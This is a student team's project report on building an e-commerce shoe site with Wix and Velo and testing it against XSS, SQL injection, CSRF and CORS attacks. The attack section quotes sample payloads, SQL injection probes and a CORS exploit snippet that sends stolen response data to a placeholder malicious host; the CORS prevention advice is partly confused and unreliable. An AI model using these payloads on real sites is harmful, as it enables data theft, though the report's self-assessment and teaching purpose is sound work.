|  |
| --- |
|  |
| COMFY SHOES  Imagine the best in every shoe |
| |  | | --- | | Project Report | |

**Introduction:**

Online Shopping has always been a fun and exciting task for most and more so when the shopping mall is none other than your own house. We have all had days when we have planned trips to the clothing store in advance, dreaming about what we would buy once we get there. Now we wouldn’t think twice before indulging in some online shopping. Well, cut to today’s time and age, you can do all this from the comfort of your home while enjoying many online shopping offers, right from amazing deals and discounts to one of the most robust user interfaces amongst most online shopping sites in India, with many shopping filters to make your shopping experience truly hassle free. This in our own words is what we call **comfyshoes.online**.

Comfy Shoes, THE place to be when it comes to the coolest in online fashion, offers you fine, high-quality merchandise go ahead and indulge in a bit of online shopping for men and women’s fashion. So, browse through the exciting categories we have on offer from men’s fashion to basic men’s clothing as well as wide variety in womenswear and women’s clothes to the amazing range of accessories, fill up your carts and get fast home delivery for all orders. All of this topped with our exclusive online shopping offers makes for an exciting, irresistible and uber cool combo! You can even gift some to your near and dear one’s while being certain that it will put a smile on their faces.

**Methodology:**

Unlike typical framework and approach of designing website, I have used **Wix** Tool which is a free, user-friendly, website building platform. Our intuitive technology and powerful built-in features give our users the freedom to design professional websites with ease that look amazing on any device.

Wix is more than a website, though. They offer a complete set of tools to build your online presence, from getting found on search engines to building your business.

How does design happens here?

Wix uses a visual builder, which is GUI format, where everything goes on drag and drop and insert per requirement basis. To make this happen, a full stack development platform is used to rapidly build, manage and deploy professional webapps through **Velo.**

Velo is an open development platform that accelerates the way you build web applications.

Work in Wix's visual builder, add custom functionality and interactions using Velo's APIs, use your own tools, and enjoy serverless coding in both the front-end and backend, all in an open, extendable platform.

**Velo features:**

The following Velo features make your web app development hassle free:

**Coding:** Add your own JavaScript code to a Wix site and work with our APIs to add custom functionality and interactions to your site. Velo also provides a full server-side runtime system based on Node.js. You can export functions from the backend to the client-side. You can work with front-end and backend events created by many of Wix’s Apps and their elements.

**Databases:** When you enable Velo you also automatically add Wix Data to your site, which lets you work with our built-in databases. Once you've got databases enabled on your site, you can use Wix's visual builder to connect your data to elements on your site, capture user input, and create dynamic pages.

**Serverless, secure & maintained:** All the work you do is hosted on Wix's cloud services. That means you never have to worry about your server’s initial setup or long-term maintenance.

**Open platform:** Velo lets you extend your site’s functionality to other services.

**Built In IDE**

**Test Sites**

**Velo packages**

**Developer Tools**

Good website design can make or break your online business.

In eCommerce, good design sits at the intersection of form and function; the combination of structure and design elements that help move shoppers through the buying journey as fluidly and pleasurably as possible.

The essential steps for building an online store with Wix ecommerce is that:

* Create your online storefront
* Add your products
* Accept online payments
* Manage your store

Diagram

Description automatically generated

**Security:**

ECommerce site security is critical for a number of reasons, specifically when it comes to protecting the privacy and sensitive data of customers on a website, safeguarding the finances of an online business, preventing fraud and financial scams and defending the reputation of an online store as a safe place to conduct transactions. One of the benefits of implementing security for eCommerce is that you’re able to better gain the trust of your customers, as they feel safe buying from you while also protecting the sensitive data of both them and your online store. Additionally, apart from the fact that eCommerce site security breaches negatively impact on the finances of a business, it also impacts on the site’s reputation. If a security breach of your ecommerce site leads to a loss of customer data, the associated fines and hit to your brand reputation could be devastating. E-commerce security is the protection of e-commerce assets from unauthorized access, use, alteration, or destruction.

As I have created the site through Wix, the expert team will be fully managing the website security- from threat prevention to real-time detection and rapid response.

The site uses **HTTPS, TLS 1.2+ and automatic SSL,** while data at rest uses **AES-256**—the strongest encryption standard commercially available.

**Payment Gateway:**

Secure payments are an important aspect that a user looks out for. A secure payment gateway is used in order to make the transactions. A payment gateway acts a service that processes the card payments. We used wixpayments for a secure financial transaction between customers and merchant. From this gateway we can also securely refund the amount to the buyer. When he is not satisfied with the product he purchased.

Graphical user interface, application, Teams

Description automatically generated

It is such an intelligent payment system that it catches the wrong card details by matching the details with the card issuing authorities. The below is an example of performing a fraud transaction.

Graphical user interface

Description automatically generated

**Verification system:**

Verification systems are a must today. These systems provide no-repudiation and integrity. We used a user signup verification system and also a captcha to check whether the user is a legit or a bot net attack. In DDOS attacks bots hits the site continuously and also create various number of attacks. So avoid such potential threat we used this verification system.

Graphical user interface, text, application, email

Description automatically generated

**The Attacks:**

To verify the security of the website, we as a team have assessed the security of our website by performing some of the OWASP top web vulnerabilities.

**Cross-site Scripting (XSS):**

One of the top vulnerabilities of web applications is XSS which is also known as Cross-site scripting. It allows an attacker to compromise the interactions that users have with a vulnerable application. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application's functionality and data.

It works in a way by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim's browser, the attacker can fully compromise their interaction with the application. There are three types of cross-site scripting attacks. They are reflected XSS, Stored XSS and DOM XSS.

Reflected XSS is where the malicious script comes from the current HTTP request. Here I used a script https://comfyshoes.online/status?message=<script>/\*+Bad+stuff+here...+\*/</script> <p>Status: <script>/\* Bad stuff here... \*/</script></p>

Graphical user interface, application

Description automatically generated

The above figure shows that comfyshoes.online is protected from reflected XSS.

**Stored XSS:**

Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way. If a malicious script is entered and submitted on the website, then if it is accepted then it is going to be stored in the site script. We performed the Stored XSS then it blocked the session.

Graphical user interface, application, Word

Description automatically generated

**DOM XSS:**

DOM is known as Document Object Model. DOM-based XSS arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM. DOM based XSS is performed using HTML sinks. placed a random alphanumeric string into the source, then used developer tools to inspect the HTML and find where your string appears. Then replace the alphanumeric string with the malicious script you want to be executed. If your data gets URL-encoded before being processed, then an XSS attack is unlikely to work. These can be prevented by performing proper user input validation, using a vulnerability scanner, enforcing a strong content security policy and escaping the dynamic content.

A screenshot of a computer

Description automatically generated

Today we have a lot of tools online to assess the possible vulnerabilities. One of such tools to assess the security is scantrics. It looks out for possible cross-site scripting vulnerabilities. The below image is the report from scantrics that say there is no cross-site scripting vulnerability.

Graphical user interface, application

Description automatically generated

**SQL Injection:**

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

SQL injection can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves:

Submitting the single quote character ' and looking for errors or other anomalies. Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses. Submitting Boolean conditions such as OR 1=1 and OR 1=2 and looking for differences in the application's responses. Submitting payloads designed to trigger time delays when executed within an SQL query and looking for differences in the time taken to respond.

SQL Injection attack can be performed in many ways. For example, using sqlmap, Proxychains-NG tool with TOR browser and with Burp Suite web vulnerability Scanner. Here We used sqlmap tool to attack and scan our website for SQL Injection and any vulnerabilities regarding sql Injection.

A screenshot of a computer

Description automatically generated with medium confidence

Prevention of SQL injection can be done by using parameterized queries instead of string concatenation within the query. To prevent maximum SQL injection damage, it is recommended to separate your sensitive data and store it in multiple databases. Customize your error messages so they don't give away any information about the structure of your database to a potential intruder.

**Cross-site Request Forgery (CSRF):**

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.

**CSRF POC:**

Here we tried to generate a CSRF Proof of concept on our website using Burp Suite. The burp suite’s CSRF POC generator automatically accepts the requests and writes the HTML code for doing a proof of concept for cross site request forgery. This POC helps the tester to see whether the application checks for CSRF defenses, such as valid token. This is the ultimate method for assessing websites for CSRF attacks.

Graphical user interface, text, application, email

Description automatically generated

CSRF attacks can be prevented by using anti-CSRF tokens or anti-forgery tokens, setting cookies with same site attributes and enabling cross-origin resources sharing (CORS).

When a user submits a form, it should contain cookie and a secret token. If the is not there, then the server disallows the requests. These tokens are randomly generated so that the attacker cannot know.

If the SameSite attribute is set to lax, then the server only allows the first party cookies it means the cookies that the domain of the current site.

**Cross-origin resource sharing (CORS):**

Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the same-origin policy (SOP). However, it also provides potential for cross-domain attacks, if a website's CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks such as cross-site request forgery (CSRF).

The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain.

How CORS can be performed?

Attacker will intercept the web requests and sends a request as follows:

GET /sensitive-victim-data HTTP/1.1

Host: comfyshoes.online

Origin: https://comfyshoes.omline

Cookie: sessionid=...

The application replies like

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://malicious-website.com

Access-Control-Allow-Credentials: true

……..

The attacker will access any sensitive information which is in the reply. The reply may contain CSRF token or API key.

var req = new XMLHttpRequest();

req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);

req.withCredentials = true; req.send();

function reqListener() { location=‘//malicious-website-address/log?key='+this.responseText; };

Prevention of cross-origin resource sharing depends on header Allow-Control-Allow-Origin. There should be a proper configuration of cross-origin requests and only allow sites which are trusted. Also, the user should avoid setting the Allow-Control-Allow-Origin to null.

One can use the moesif CORS browser extension to avoid CORS. There are other ways to prevent this CORS. Using the CORS anywhere proxy or user built own proxy can help in not acheeiving the CORS. These proxies acts as intermediary between frontend and the server.

The CORS error can be a frontend developer's worst nightmare. But once you know that the error is caused by the same-origin policy and how it fights the cross-site request forgery attack, it's a little easier to deal with.

A report is made from Qualys SSL Labs to know the security aspect of our website.

Graphical user interface, application

Description automatically generated

Certificate details:

Graphical user interface, text, application, email

Description automatically generated

**Results:**

URL: <https://www.comfyshoes.online>

Below are the various webpages present in the website. We have 3 classifications for the website with a total of **17** Pages.

* Site Pages.
* Store Pages
* Member Pages

Under **Site Pages**, we have Home Page, Shop Page 🡺 Men Page, Women Page and Sale Page, About us Page, Talk to us Page, Gift Card Page.

Under **Store Pages**, we have Product Page, Collection Page, Cart Page and Thank you page.

Under **Members Page**, My Account Page, My Subscription Page, My Wallet Page, My Orders Page, My Address Page and My Wishlist Page.

Screenshots and the explanation:

Home page:

Typically, Comfy shoes homepage consists of a standard header with the navigation bar which has **7 buttons** excluding the logo of the site, a footer addressing fewer options in the website.

A picture containing text, person, indoor, screenshot

Description automatically generated

Navigation bar:

A screenshot of a computer

Description automatically generated with low confidence

Footer:

A screenshot of a computer

Description automatically generated with low confidence

Men Page, Women Page and Sale Page consists of the products pertaining to that category with few filters to sort. Attaching a sample screenshot from men page, to understand the layout of the design.

Graphical user interface, website

Description automatically generated

About Us Page consists of the motive of the page, What is this website and team.

Graphical user interface, website

Description automatically generated

Talk to Us Page deals with the FAQ section, a contact US field where customers can send a mail to the admin/managing team to inquire the queries,

Graphical user interface, website

Description automatically generated

Graphical user interface, text, website

Description automatically generated

Gift Card Page is one of the trendy feature where one can get to give gifts to friends and family. This page gives the feasibility to gift the card to someone or buy for yourself. This card can be redeemed in the Wallet Page in the Members Page.

Graphical user interface, application

Description automatically generated

Product Page is a prototype where one can see the way the page is displayed if a product is clicked, displaying the spectrum of size(s), colors available for the respective product, quantity and details of the product along with the product info and Return and Refund Policy along with the Product Imagery. To add the product into the cart, A validation is set to select the size first.

Graphical user interface, text, application, website

Description automatically generated

Graphical user interface, text, website

Description automatically generated

Cart Page shows the holistic summary of the details with list of products added in the cart along with the order summary.

Graphical user interface, text, website

Description automatically generated

Thank you, Page is a view of the token message, that will be posted after a confirming the order in the website.

**Graphical user interface, application

Description automatically generated**

All the Members pages mentioned above deals with the information of the his/her account, one’s order history Wallet, Addresses, Subscriptions etc.

Graphical user interface, text, website

Description automatically generated

The above shows the different views of my front end, Similarly lets look that important aspect of managing the backend, DB tier.

A screenshot of a computer

Description automatically generated

Products and Inventory(In the right hand sider ) serves as the Inventory Management where the Managing team can update, insert new products and play with the prices of the products here. This also comes with the features of filtering the data, Importing the data with fixed format from csv and can also export the data in csv format.

Similar to the Inventory Management, We can also have the order management to list all the order, find trends and understand the flow of the sale analytics.

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

Like above, Contacts in the below screenshot acts as HRMS to know all the users registered in the app, admins and also used as **Slack, Kanban Board** to work on tasks and nudge some remainders.

A screenshot of a computer

Description automatically generated

Graphical user interface, text, application, email

Description automatically generated

For Marketing & Analytics, Wix offers a wide range of analysis of the business flow, traffic flow in the website.

One of the important aspect of the website will the payment options, Settlement reports at a periodic time, Invoices and all, which can be managed through below navigation in the screenshot.

A screenshot of a computer

Description automatically generated

Additionally, it is easy to decrypt the info and its functionalities through below screenshot.

Graphical user interface, text, application, email

Description automatically generated

Graphical user interface, text, application, email

Description automatically generated

**Contributions:**

We are a team of 6 people, who have successfully collaborated in multiple fronts to make this website possible. Here are the various things we pitched in:

1. Vasanth Kandagatla – ID: 11503339, Owner of the website, who has managed in various fronts of hosting, testing, Content Management and Documentation and Presentation supervision, Domain setting and supervising all the branch aspects.
2. Naga Venkata Sai Sudheer Bandaru – ID: 11517841, Co-admin of the website, who pitched in with implementing, verifying, and testing the security aspects of the website. Also, managed to work on the presentation and report creation and supervising the branch work.
3. Akhil Kalyanam – ID: 11522177, Primarily worked on the content management in the website who also tested the several input validations within the website. On top of this, I have been with testing the security front along with Sudheer
4. Raju Kumar Pasupuleti – ID: 11519166, Worked on the content management and managing the inventory in placing the pictures, replicating the model collections and products in the website. Was a helping hand for configuring payment workflow
5. Shashank Potluri – ID: 11525735, Primarly worked on configuring payment workflow and was working on content management with uploading free stock pictures, configuring the FAQ part and configuring the communication part within the website
6. Saichaithanya Bollam – ID: 11520516. Primarly working on setting the permissions and allocating roles and permission of the user. Was a helping hand for the communications aspect, in configuring the forms and chat setup, testing the site at regular intervals with control over version history for a hassle free creation of the website.

**Conclusion:**

Overall, e-commerce is one of the leading businesses in the world. As a leading business it will have many threats from the competitors. Security is very important aspect in the digital world. No system is fully safe. So, we tried to implement top-level security in our website. We as a group learnt that how teamwork helps in doing successful work and achieving milestones in the way. Apart from that we came to know how automation helps in website creation. The wix site, velo features are handy to create a website. They are also tricky sometimes. We came to know that content management, inventory management are one of the key concepts in maintaining an e-commerce website. Also, security, it is a domain where we invested a lot of our time. Kali Linux operating system helped us a lot in assessing the security of our website. Security is a demanding and vast domain. The basic pillar of security CIA triad helped a lot in assessing and discussing what type of attacks can be performed and how severe they will. Learnt the concepts of payment gateway, attacks like cross-site scripting, SQL Injection, Cross-site Request Forgery and Cross-origin Resource sharing. Came to know how a script kiddie, black hat hacker and white hat hacker thinks when they are working.

If we have more time, we will try to implement a more security features in our website. As we all if security increases usability decreases. This gives the user bad experiences in using the site. We will implement the order tracking mechanism in a way that user finds it very easy and handy to track the order. We will look out for the potential threats like Server-side Request Forgery, request smuggling, command injection and server-side template injection. There is no way that one can go on a lighter note about the user’s security. As data is precious in today’s world, we will look out for any possible security features that helps in securing the user’s privacy and data when online. Also, we know that these e-commerce websites are dynamic and prone to attack as days pass by. We would like to test our website with more attacks and try to achieve security in all aspects. It would be great if we have given ample time to assess the security of other team’s website security.

**References:**

1. Top Reasons For Choosing Wix

<https://support.wix.com/en/article/top-reasons-for-choosing-wix>

1. Learn Velo

[https://learn-code.wix.com/en/?\_gl=1\*1e16mur\*\_ga\*MTEwNDU5MTQzLjE2NTI4MzEzOTI.\*\_ga\_H314XQHSPY\*MTY1NjQ3NjA3Ny4xLjAuMTY1NjQ3NjUyMy42MA](https://learn-code.wix.com/en/?_gl=1*1e16mur*_ga*MTEwNDU5MTQzLjE2NTI4MzEzOTI.*_ga_H314XQHSPY*MTY1NjQ3NjA3Ny4xLjAuMTY1NjQ3NjUyMy42MA)..

1. About Velo by Wix

<https://support.wix.com/en/article/about-velo-by-wix>

1. Enterprise-grade security with every Wix site

<https://www.wix.com/website-security>

1. Learn about security attacks

<https://portswigger.net/web-security/dashboard>

1. Cross-origin Prevention

<https://medium.com/@dtkatz/3-ways-to-fix-the-cors-error-and-how-access-control-allow-origin-works-d97d55946d9>

1. SQL Injection

<https://portswigger.net/web-security/sql-injection>

1. XSS

<https://portswigger.net/web-security/cross-site-scripting>

1. CSRF

<https://portswigger.net/web-security/csrf>

1. CORS

<https://portswigger.net/web-security/cors>